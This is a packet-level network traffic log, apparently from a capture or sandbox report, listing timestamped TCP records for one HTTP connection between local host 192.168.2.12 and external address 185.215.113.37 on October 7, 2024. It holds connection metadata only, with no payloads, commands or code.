Oct 7, 2024 18:03:20.561815977 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.561825991 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.561836958 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.561837912 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.561850071 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.561857939 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.561861038 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.561871052 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.561872959 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.561889887 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.561897039 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.561901093 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.561914921 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.561922073 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.561928988 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.561939001 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.561964989 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.562653065 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.562664986 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.562676907 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.562688112 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.562697887 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.562702894 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.562711000 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.562717915 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.562721014 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.562732935 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.562743902 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.562745094 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.562757015 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.562767982 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.562768936 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.562778950 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.562786102 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.562791109 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.562803030 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.562810898 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.562814951 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.562835932 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.562851906 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.563569069 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.563582897 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.563594103 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.563606024 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.563616991 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.563620090 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.563628912 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.563630104 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.563643932 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.563643932 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.563656092 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.563661098 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.563667059 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.563678026 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.563679934 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.563692093 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.563702106 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.563703060 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.563714981 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.563719988 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.563730001 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.563750029 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.563760996 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.564300060 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.564316034 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.564346075 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.564368963 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.684165955 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.684247017 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.684264898 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.684305906 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.684386015 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.684426069 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.684468031 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.684480906 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.684494019 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.684504032 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.684528112 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.684650898 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.684663057 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.684698105 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.684719086 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.684854031 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.684868097 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.684879065 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.684890032 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.684906006 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.684906960 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.684912920 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.684917927 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.684931040 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.684942007 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.684959888 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.684981108 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.685161114 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.685205936 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.685266972 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.685278893 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.685290098 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.685302973 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.685312033 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.685317039 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.685328960 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.685332060 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.685340881 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.685358047 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.685358047 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.685385942 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.685808897 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.685822010 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.685833931 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.685853004 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.685866117 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.685874939 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.685882092 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.685882092 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.685888052 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.685898066 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.685904980 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.685909986 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.685923100 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.685925961 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.685944080 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.685954094 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.686309099 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.686320066 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.686331034 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.686362982 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.686372042 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.686459064 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.686471939 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.686481953 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.686494112 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.686505079 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.686515093 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.686527014 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.686527967 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.686541080 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.686549902 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.686554909 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.686563015 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.686575890 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.686577082 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.686589003 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.686598063 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.686600924 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.686610937 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.686613083 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.686625004 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.686635017 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.686661959 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.687341928 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.687355995 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.687366962 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.687376976 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.687396049 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.687403917 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.687411070 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.687412024 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.687424898 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.687437057 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.687438965 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.687450886 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.687458038 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.687463999 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.687484980 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.687484980 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.687484980 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.687506914 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.687920094 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.687933922 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.687946081 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.687957048 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.687967062 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.687968969 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.687980890 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.687982082 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.687994003 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.688004971 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.688005924 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.688019037 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.688024998 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.688030005 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.688043118 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.688044071 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.688052893 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.688061953 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.688066006 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.688076973 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.688088894 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.688090086 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.688100100 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.688117981 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.688143969 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.688833952 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.688848972 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.688859940 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.688872099 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.688884020 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.688889980 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.688894987 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.688905954 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.688913107 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.688918114 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.688930035 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.688930988 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.688942909 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.688947916 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.688954115 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.688966990 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.688966990 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.688977957 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.688988924 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.688992023 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.688993931 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.689003944 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.689022064 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.689032078 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.689049959 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.809042931 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.809093952 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.809104919 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.809132099 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.809149027 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.809160948 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.809173107 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.809200048 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.809230089 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.809284925 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.809467077 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.809479952 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.809490919 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.809501886 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.809516907 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.809516907 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.809539080 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.809561968 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.809724092 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.809735060 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.809746027 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.809758902 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.809781075 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.809928894 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.809940100 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.809950113 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.809962034 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.809971094 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.809988022 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.810009003 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.810296059 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.810312033 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.810323000 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.810333967 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.810334921 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.810340881 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.810349941 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.810359955 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.810359955 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.810372114 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.810381889 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.810388088 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.810415983 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.810415983 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.810620070 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.810781002 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.810792923 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.810837984 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.810902119 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.810911894 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.810921907 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.810933113 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.810940981 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.810945034 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.810956955 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.810965061 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.810966969 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.810978889 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.810992956 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.811007977 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.811054945 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.811494112 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.811506033 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.811518908 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.811527967 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.811534882 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.811551094 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.811569929 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.811753035 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.811764956 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.811774969 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.811784983 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.811786890 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.811800957 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.811808109 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.811817884 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.811820984 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.811830997 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.811831951 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.811842918 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.811851025 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.811853886 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.811866045 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.811868906 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.811880112 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.811889887 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.811889887 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.811902046 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.811908007 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.811913013 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.811932087 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.811954021 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.812798023 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.812812090 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.812822104 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.812834978 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.812843084 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.812846899 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.812853098 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.812858105 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.812864065 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.812870026 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.812880039 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.812881947 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.812891960 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.812906027 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.812906981 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.812917948 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.812928915 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.812936068 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.812942982 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.812952042 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.812953949 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.812966108 CEST	80	49711	185.215.113.37	192.168.2.12
